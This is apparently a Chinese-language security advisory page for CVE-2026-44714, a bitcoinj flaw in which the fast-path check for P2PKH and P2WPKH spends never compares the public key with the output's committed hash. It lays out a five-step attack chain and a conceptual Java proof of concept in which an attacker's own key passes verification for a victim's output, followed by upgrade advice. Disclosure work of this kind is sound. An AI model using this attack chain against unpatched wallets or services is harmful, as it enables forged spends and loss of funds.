IPBUF安全漏洞报告
English
CVE-2026-44714 CVSS 7.5 高危

CVE-2026-44714 bitcoinj签名验证绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44714
漏洞类型
签名验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
bitcoinj

相关标签

签名验证绕过CVE-2026-44714bitcoinj区块链安全逻辑漏洞Java

漏洞概述

bitcoinj是一个Java实现的比特币协议库。在0.17.1版本之前,其ScriptExecution.correctlySpends()方法中存在两个针对标准P2PKH和原生P2WPKH交易的快速路径验证漏洞。在这两个分支中,bitcoinj虽然验证了攻击者控制的签名和公钥对,但未能验证该公钥是否确实是正在被花费的输出所承诺的公钥。因此,任何攻击者密钥对都可以满足bitcoinj对任意P2PKH和P2WPKH输出的本地验证。该漏洞已在0.17.1版本中修复。

技术细节

该漏洞位于bitcoinj库的`core/src/main/java/org/bitcoinj/script/ScriptExecution.java`文件中的`ScriptExecution.correctlySpends()`方法内。具体而言,问题出在对标准P2PKH(Pay-to-Public-Key-Hash)和原生P2WPKH(Pay-to-Witness-Public-Key-Hash)交易的快速路径验证逻辑中。在正常且安全的比特币交易验证流程中,系统必须验证签名不仅要在数学上与提供的公钥匹配,还必须确认该公钥的哈希值与被花费输出中锁定脚本所承诺的哈希值一致。然而,在0.17.1之前的版本中,bitcoinj的快速路径代码存在逻辑缺陷。它仅验证了攻击者提供的签名和公钥对在密码学上是匹配的,却完全省略了对公钥所有权归属的校验。这意味着攻击者可以生成任意一个新的密钥对,使用该私钥对交易签名,然后提交给bitcoinj验证。由于缺少公钥哈希比对环节,bitcoinj会错误地返回验证通过。这允许攻击者绕过本地交易验证机制,针对任意P2PKH和P2WPKH输出构造虚假的有效交易,可能导致双重支付攻击或钱包余额显示异常。

攻击链分析

STEP 1
侦察
攻击者识别出使用bitcoinj库(版本低于0.17.1)作为后端验证服务的应用程序或钱包。
STEP 2
交易构造
攻击者选择一个目标地址(P2PKH或P2WPKH类型)的未花费交易输出(UTXO),并创建一笔将其转给自己的新交易。
STEP 3
签名伪造
攻击者生成自己控制的一对全新密钥(公钥和私钥),使用该私钥对交易输入进行签名,并将自己的公钥和签名放入ScriptSig中。
STEP 4
验证绕过
攻击者将构造好的恶意交易发送给运行易受攻击bitcoinj版本的目标节点/客户端。由于快速路径验证漏洞,客户端只检查了签名与公钥的匹配性,未检查公钥哈希是否匹配输出锁定脚本,从而错误地通过验证。
STEP 5
利用后果
客户端可能将无效的余额更新为有效,或者接受双重支付交易,导致资金损失或账目混乱。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC demonstrating the verification bypass in bitcoinj < 0.17.1 // This simulates the logic flaw where the public key hash check is skipped. import org.bitcoinj.core.*; import org.bitcoinj.script.*; import org.bitcoinj.crypto.ECKey; public class PoC_CVE_2026_44714 { public static void main(String[] args) { NetworkParameters params = NetworkParameters.testNet(); // 1. Setup: A victim's UTXO locked with P2PKH (Hash of VictimPubKey) ECKey victimKey = new ECKey(); // The legitimate owner Address victimAddress = victimKey.toAddress(Script.ScriptType.P2PKH, params); // 2. Attacker generates a random, unrelated keypair ECKey attackerKey = new ECKey(); // 3. Attacker creates a transaction spending the victim's UTXO to themselves Transaction tx = new Transaction(params); tx.addOutput(Coin.COIN, attackerKey.toAddress(Script.ScriptType.P2PKH, params)); // Connect the victim's UTXO as input (mocked for PoC) TransactionInput input = new TransactionInput(params, tx, new byte[] {}); tx.addInput(input); // 4. CRITICAL STEP: Attacker signs the input using THEIR key (attackerKey), not the victim's. // The script will contain [Sig_Attacker, PubKey_Attacker]. // In a correct implementation, verification should fail because // Hash(PubKey_Attacker) != Hash(PubKey_Victim) found in the output script. ScriptBuilder scriptSigBuilder = new ScriptBuilder(); // Sign with attacker key (this creates a valid signature for the attacker's pubkey) byte[] signature = tx.calculateSignature(0, attackerKey, victimAddress.getScriptBytes(), Transaction.SigHash.ALL, false); scriptSigBuilder.data(signature); scriptSigBuilder.data(attackerKey.getPubKey()); input.setScriptSig(scriptSigBuilder.build()); // 5. Verification using the vulnerable library (bitcoinj < 0.17.1) // The fast path bug checks: is Sig valid for PubKey? -> YES. // The fast path bug FAILS to check: does Hash(PubKey) match Output Script? try { // Simplified verification context for demonstration boolean isValid = ScriptExecution.correctlySpends( tx, 0, victimAddress.getScriptBytes(), // The scriptPubKey of the output being spent Script.STANDARD_VERIFY_FLAGS ); if (isValid) { System.out.println("[!] VULNERABILITY CONFIRMED: Transaction verified successfully with wrong key!"); } else { System.out.println("[+] Patched behavior: Verification failed as expected."); } } catch (ScriptException e) { e.printStackTrace(); } } }

影响范围

bitcoinj < 0.17.1

防御指南

临时缓解措施
由于该漏洞涉及本地交易验证逻辑,建议立即升级到修复版本。在无法立即升级的情况下,应避免单纯依赖受影响版本的bitcoinj进行交易验证,可暂时使用其他经过完整审计的比特币节点实现(如Bitcoin Core)进行双重验证,以防止接受无效交易。同时,开发者应审查与此相关的支付逻辑,确保没有绕过标准校验流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表